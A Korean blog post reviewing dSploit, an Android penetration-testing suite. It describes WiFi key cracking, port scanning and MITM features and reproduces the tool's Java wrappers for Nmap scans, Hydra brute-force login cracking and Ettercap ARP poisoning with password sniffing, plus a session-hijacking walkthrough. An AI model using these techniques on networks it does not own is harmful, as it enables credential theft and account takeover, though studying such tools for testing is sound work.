Infomation

dSploit - Android Network Penetration Suite

DarkSoul.Story 2013. 3. 25. 10:46
반응형



1. 개요


dSploit는 안드로이드에서 동작하는 네트워크 취약점 진단 툴 킷(Network Penetration Suite)으로, 모바일 장치에서 네트워크  취약점 점검을 하기 위해 사용한다. dSploit은 아래와 같은 기능을 제공한다. 


- WiFi Cracking

잘 알려진 기본 키 생성 알고리즘을 사용하는 AP인 경우 쉽게 키를 해독한다.


지원되는 모델 

Thomson, DLink, Pirelli Discus, Eircom, Verizon FiOS, Alice AGPF, FASTWEB Pirelli and Telsey, Huawei, Sky V1, Clubinternet.box v1 and v2, InfostradaWifi 등


- RouterPWN

 http://routerpwn.com/  서비스를 이용하여, 라우터 침투테스트를 진행 한다.



- Trace

지정한 대상으로 Traceroute를 한다.


- Port Scanner

Syn Port Scan을 이용하여, 지정한 대상에 오픈되어 있는 포트를 찾는다.


- Vulnerability Finder

National Vulnerability Database를 이용하여, 대상에 알려진 취약점을 찾는다.


- MITM


dSploit을 사용하기 위해서는 아래와 같은 조건을 만족해야만 한다.


- 안드로이드 버전이 최소 2.3(진저브레드) 이상이어야 한다.

- 안드로이드 기기가 Root 권한을 가지고 있어야 한다.

- BusyBox가 설치되어 있어야 한다. Google Play에서 검색하여 설치할 수 있다. 

(Rooting을 하면 BusyBox가 설치가 되는데, 이때 설치 되는 BusyBox는 일부 명령어만 사용할 수 있는 BusyBox이다. dSploit을 사용하기 위해서는 모든 명령어를 사용할 수 있게, Full BusyBox를 설치 해야한다.)



   

  

2. 테스트 환경


테스트 기기 : 갤럭시S3

Android : 4.1.2

dSploit 버전 : 1.0.31b


3. 상세 테스트


dSploit 다운로드


dSploit을 다운로드 받은 다음 설치한다. dSploit을 실행하면 가장 먼저 아래와 같이 Root 권한을 요구 한다. 


 

참고로 dSploit은 WiFi 환경에서만 동작한다. 3G나 LTE망에서는 동작하지 않는다.




dSploit이 Root 권한을 획득하면, 아래와 같은 메인 화면이 나타난다.



① 현재 네트워크의 서브넷 마스크 정보

② 현재 연결되어 있는 AP의 SSID / IP / MAC 주소 정보

③ dSplit을 사용하는 기기 정보 

④ dSploit을 사용하는 기기 이외에 연결되어 있는 기기 정보


연결되어 있는 MSDN-SPECIAL을 대상으로 dSploit을 테스트 해보자. 

MSDN-SPECIAL을 선택하면 아래와 같이 네트워크 취약점 진단을 할 수 있는 메뉴들이 나열된다.



여기서는 몇가지만 간단하게 테스트 한다.


① Port Scanner

Port Scanner를 선택하면, 아래와 같이 [Start] 버튼이 나타난다. [Start]를 터치 할 경우 Syn Port Scan을 하여, 오픈되어 있는 포트 정보를 보여준다.


 

 ② Inspector

Inspector는 대상 시스템의 디바이스 타입(Device Type), OS 정보, 사용하고 있는 서비스 정보를 스캔한다.



Port Scan / Inspector은 NMAP을 이용 정보를 획득한다. dSplit에서 사용되는 NMAP 소스코드는 아래와 같다. Port Scan은 소스코드 중간 쯤에 synScan 클래스를 이용하여 오픈되어 있는 포트 정보를 출력해 주며, Inspector는 synScan 클래스 밑에 존재하는 InspectionReceiver  클래스를 이용하여 확인 후 정보를 출력해 준다.  


package it.evilsocket.dsploit.tools;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

import it.evilsocket.dsploit.core.Shell.OutputReceiver;
import it.evilsocket.dsploit.net.Target;
import android.content.Context;
import android.util.Log;

public class NMap extends Tool
{
private static final String TAG = "NMAP";

public NMap( Context context ){
super( "nmap/nmap", context );
}

public static abstract class TraceOutputReceiver implements OutputReceiver
{
private static final Pattern HOP_PATTERN = Pattern.compile
( "^(\\d+)\\s+(\\.\\.\\.|[0-9\\.]+\\s[ms]+)\\s+([\\d]{1,3}\\.[\\d]{1,3}\\.[\\d]{1,3}\\
.[\\d]{1,3}|[\\d]+).*", Pattern.CASE_INSENSITIVE );

public void onStart( String commandLine ) { }

public void onNewLine( String line ) {
Matcher matcher;

if( ( matcher = HOP_PATTERN.matcher( line ) ) != null && matcher.
find() )
{
onHop( matcher.group( 1 ), matcher.group( 2 ), matcher.
group( 3 ) );
}
}

public void onEnd( int exitCode ) {
if( exitCode != 0 )
Log.e( TAG, "nmap exited with code " + exitCode );
}

public abstract void onHop( String hop, String time, String address );
}

public Thread trace( Target target, TraceOutputReceiver receiver ) {
return super.async( "-sn --traceroute --privileged --send-ip --system-dns "
+ target.getCommandLineRepresentation(), receiver );
}

public static abstract class SynScanOutputReceiver implements OutputReceiver
{
private static final Pattern PORT_PATTERN = Pattern.compile( "^discovered 
open port (\\d+)/([^\\s]+).+", Pattern.CASE_INSENSITIVE );

public void onStart( String commandLine ) {

}

public void onNewLine( String line ) {
Matcher matcher;

if( ( matcher = PORT_PATTERN.matcher( line ) ) != null && matcher.
find() )
{
onPortFound( matcher.group( 1 ), matcher.group( 2 ) );
}
}

public void onEnd( int exitCode ) {
if( exitCode != 0 )
Log.e( TAG, "nmap exited with code " + exitCode );
}

public abstract void onPortFound( String port, String protocol );
}

public Thread synScan( Target target, SynScanOutputReceiver receiver, String 
custom ) {
String command = "-sS -P0 --privileged --send-ip --system-dns -vvv ";

if( custom != null )
command += "-p " + custom + " ";

command += target.getCommandLineRepresentation();

return super.async( command, receiver );
}

public static abstract class InspectionReceiver implements OutputReceiver
{
private static final Pattern OPEN_PORT_PATTERN = Pattern.compile( 
"^discovered open port (\\d+)/([^\\s]+).+", Pattern.CASE_INSENSITIVE );
private static final Pattern SERVICE_PATTERN = Pattern.compile( 
"^(\\d+)/([a-z]+)\\s+[a-z]+\\s+[a-z]+\\s+(.*)$", Pattern.CASE_INSENSITIVE );
private static final Pattern OS_PATTERN = Pattern.compile( 
"^Running:\\s+(.+)$", Pattern.CASE_INSENSITIVE );
private static final Pattern OS_GUESS_PATTERN = Pattern.compile( 
"^Running\\s+\\(JUST\\s+GUESSING\\):\\s+(.+)$", Pattern.CASE_INSENSITIVE );
private static final Pattern SERVICE_INFO_PATTERN = Pattern.compile( 
"^Service\\s+Info:\\s+OS:\\s+([^;]+).*$", Pattern.CASE_INSENSITIVE );
private static final Pattern DEVICE_PATTERN = Pattern.compile( 
"^Device\\s+type:\\s+(.+)$", Pattern.CASE_INSENSITIVE );

public void onStart( String commandLine ) {

}

public void onNewLine( String line ) {
Matcher matcher = null;

if( ( matcher = OPEN_PORT_PATTERN.matcher(line) ) != null && 
matcher.find() )
onOpenPortFound( Integer.parseInt( matcher.group(1) ), 
matcher.group(2) );

else if( ( matcher = SERVICE_PATTERN.matcher(line) ) != null && 
matcher.find() )
onServiceFound( Integer.parseInt( matcher.group(1) ),  
matcher.group(2), 
matcher.group(3) );

else if( ( matcher = OS_PATTERN.matcher(line) ) != null && 
matcher.find() )
onOsFound( matcher.group(1) );

else if( ( matcher = OS_GUESS_PATTERN.matcher(line) ) != null && 
matcher.find() )
onGuessOsFound( matcher.group(1) );

else if( ( matcher = DEVICE_PATTERN.matcher(line) ) != null && 
matcher.find() )
onDeviceFound( matcher.group(1).replace( "|", ", ") );

else if( ( matcher = SERVICE_INFO_PATTERN.matcher(line) ) != null 
&& matcher.find() )
onServiceInfoFound( matcher.group(1) );
}

public abstract void onOpenPortFound( int port, String protocol );
public abstract void onServiceFound( int port, String protocol, String service );
public abstract void onOsFound( String os );
public abstract void onGuessOsFound( String os );
public abstract void onDeviceFound( String device );
public abstract void onServiceInfoFound( String info );

public void onEnd( int exitCode ) {
if( exitCode != 0 )
Log.e( TAG, "nmap exited with code " + exitCode );
}
}

public Thread inpsect( Target target, InspectionReceiver receiver ) {
return super.async( "-T4 -F -O -sV --privileged --send-ip --system-dns -
vvv " + target.
getCommandLineRepresentation(), receiver );
}
} 


③ Login Cracker

Port Scan / Inspector를 이용하여, 대상 시스템에 서비스 중인 FTP나 Telnet 등의 로그인 ID 및 패스워드를 크랙할 때 사용한다.

Login Cracker를 선택하면, 아래와 같은 설정 화면이 나타난다.



설정 화면에서 Port Scan / Inspector에서 확인된 서비스를 선택한다. 패스워드의 문자 패턴 / 유저네임 (Username) / 패스워드 최소, 최대 길이를 지정한 다음 [START]를 터치하게 되면, 설정한 정보를 가지고 무차별 대입(Brute Force)을 시작한다.


참고로 유저네임(username)과 패스워드(Password) 사전 파일을 가지고 있다면, 상단에 존재하는 
user wordlist / password wordlist를 선택하여, 해당 파일을 지정할 수 있다.

Login Cracker는 Hydra를 이용하며, dSploit에서 사용하는 Hydra는 아래와 같다. 아래 소스코드에서 Crack 클래스에 의해 유저네임(username)과 패스워드를 무차별 대입하여 크랙한다.  

package it.evilsocket.dsploit.tools;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

import it.evilsocket.dsploit.core.Shell.OutputReceiver;
import it.evilsocket.dsploit.net.Target;
import android.content.Context;
import android.util.Log;

public class Hydra extends Tool
{
public Hydra( Context context ){
super( "hydra/hydra", context );
}

public static abstract class AttemptReceiver implements OutputReceiver
{
private final Pattern ATTEMPT_PATTERN = Pattern.compile( "^\\[ATTEMPT\\].+
login\\s+\"([^\"]+)\".+pass\\s+\"([^\"]+)\"\\s+-\\s+(\\d+)\\s+of\\s+(\\d+)\\s+\\[child\\s+
\\d+]$", Pattern.CASE_INSENSITIVE );
private final Pattern ERROR_PATTERN = Pattern.compile( "^\\[Error\\]\\s+
(.+)$" );
private final Pattern FATAL_PATTERN = Pattern.compile( "^\\[ERROR\\]\\s+
(.+)$" );
private final Pattern ACCOUNT_PATTERN = Pattern.compile( "^\\[\\d+\\]\\[
[^\\]]+\\]\\s+host:\\s+[\\d\\.]+\\s+login:\\s+([^\\s]+)\\s+password:\\s+(.+)", Pattern.
CASE_INSENSITIVE );

public void onStart( String commandLine ) {
Log.d( "HYDRA", "Started '" + commandLine +"'" );
}

public void onNewLine( String line ) {
Matcher matcher = null;

line = line.trim();

if( ( matcher = ATTEMPT_PATTERN.matcher( line ) ) != null && 
matcher.find() )
{
String login = matcher.group(1),
password = matcher.group(2),
progress = matcher.group(3),
total = matcher.group(4);

int iprogress,
itotal;

try
{
iprogress = Integer.parseInt( progress );
itotal = Integer.parseInt( total );
}
catch( Exception e )
{
iprogress = 0;
itotal = Integer.MAX_VALUE;
}

onNewAttempt( login, password, iprogress, itotal );
}
else if( ( matcher = ERROR_PATTERN.matcher( line ) ) != null 
&& matcher.find() )
onError( matcher.group( 1 ) );

else if( ( matcher = FATAL_PATTERN.matcher( line ) ) != null 
&& matcher.find() )
onFatal( matcher.group( 1 ) );

else if( ( matcher = ACCOUNT_PATTERN.matcher( line ) ) != null 
&& matcher.find() )
onAccountFound( matcher.group( 1 ), matcher.group( 2 ) );
}

public void onEnd( int exitCode ) {
Log.d( "Hydra", "Ended with exit code '" + exitCode +"'" );
}

public abstract void onNewAttempt( String login, String password, int 
progress, int total );
public abstract void onError( String message );
public abstract void onFatal( String message );
public abstract void onAccountFound( String login, String password );
}

public Thread crack( Target target, int port, String service, String charset, 
int minlength, int maxlength, String username, String userWordlist, String passWordlist, 
AttemptReceiver receiver ){
String command = "-F ";

if( userWordlist != null )
command += "-L " + userWordlist;

else
command += "-l " + username;

if( passWordlist != null )
command += " -P " + passWordlist;

else
command += " -x \"" + minlength + ":" + maxlength + ":" + charset 
+ "\" ";

command += "-s " + port + " -V -t 10 " + target.getCommandLine
Representation() + " " + service;

if( service.equalsIgnoreCase("http-head") )
command += " /";

return super.async( command, receiver );
}
} 


④ MITM 


이번에 살펴 볼 것은 대상 시스템에 대한 MITM 테스트 이다. MITM을 선택하면 아래와 같은 MITM에 사용되는 메뉴들을 볼 수 있다.


 

위의 메뉴 중 몇가지만 살펴 보도록 한다. 가장 먼저 살펴볼 메뉴는 Password Sniffer 메뉴로, 대상 시스템을 Sniffing 하여 HTTP / FTP / IMAP / IRC / MSN 등의 아이디와 패스워드를 가로챌수 있다.


Password Sniffer에 사용되는 도구는 Ettercap이며, dSploit에서 사용하는 Ettercap의 소스코드는 아래와 같다. 

Password Sniffer에 사용되는 부분은 OnAccountListener 클래스 부분이다. 


package it.evilsocket.dsploit.tools;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

import it.evilsocket.dsploit.core.System;
import it.evilsocket.dsploit.core.Shell.OutputReceiver;
import it.evilsocket.dsploit.net.Target;
import android.content.Context;

public class Ettercap extends Tool
{
private static final String TAG = "ETTERCAP";

public Ettercap( Context context ){
super( "ettercap/ettercap", context );
}

public static abstract class OnAccountListener implements OutputReceiver
{
private static final Pattern ACCOUNT_PATTERN = Pattern.compile
( "^([^\\s]+)\\s+:\\s+([^\\:]+):(\\d+).+", Pattern.CASE_INSENSITIVE );

@Override
public void onStart(String command) {

}

@Override
public void onNewLine( String line ) {
// when ettercap is ready, enable ip forwarding
if( line.toLowerCase().contains("for inline help") )
{
System.setForwarding( true );
}
else
{
Matcher matcher = ACCOUNT_PATTERN.matcher( line );

if( matcher != null && matcher.find() )
{
String protocol = matcher.group( 1 ),
address = matcher.group( 2 ),
port = matcher.group( 3 );

onAccount( protocol, address, port, line );
}
}
}

@Override
public void onEnd(int exitCode) {

}

public abstract void onAccount( String protocol, String address, String port, 
String line );
}

public Thread dissect( Target target, OnAccountListener listener ) {
String commandLine;

// poison the entire network
if( target.getType() == Target.Type.NETWORK )
commandLine = "// //";
// router -> target poison
else
commandLine = "/" + target.getCommandLineRepresentation() + "/ //";

try
{
// passive dissection, spoofing is performed by arpspoof which is more 
reliable
commandLine = "-Tq -i " + System.getNetwork().getInterface().
getDisplayName() + " " + commandLine;
}
catch( Exception e )
{
System.errorLogging( TAG, e );
}

return super.async( commandLine, listener );
}

public boolean kill( ) {
// Ettercap needs SIGINT ( ctrl+c ) to restore arp table.
return super.kill( "SIGINT" );
}
} 


다음으로 살펴 볼 메뉴는 Session Hijacker 메뉴 이다. Session Hijacker는 공격자가 대상의 session을 가로채 인증 과정없이 웹에 접속 할 수 있도록 하는 공격법이다. Session Hijacker를 클릭한 후 [Start]를 터치 하면, Soofing이 진행된다. 진행 과정은 따로 표시 해주지 않는다. 대상 시스템이 웹에 접속하고 인증을 받으면 아래와 같이 대상 IP와 접속한 웹의 URL이 표시가 된다.



 IP를 클릭하게 되면, 아래와 같이 Session Hijacking을 할 것인지 묻는다. 여기서 [YES]를 선택하면 Session Hijacking이 이루어진다. 








반응형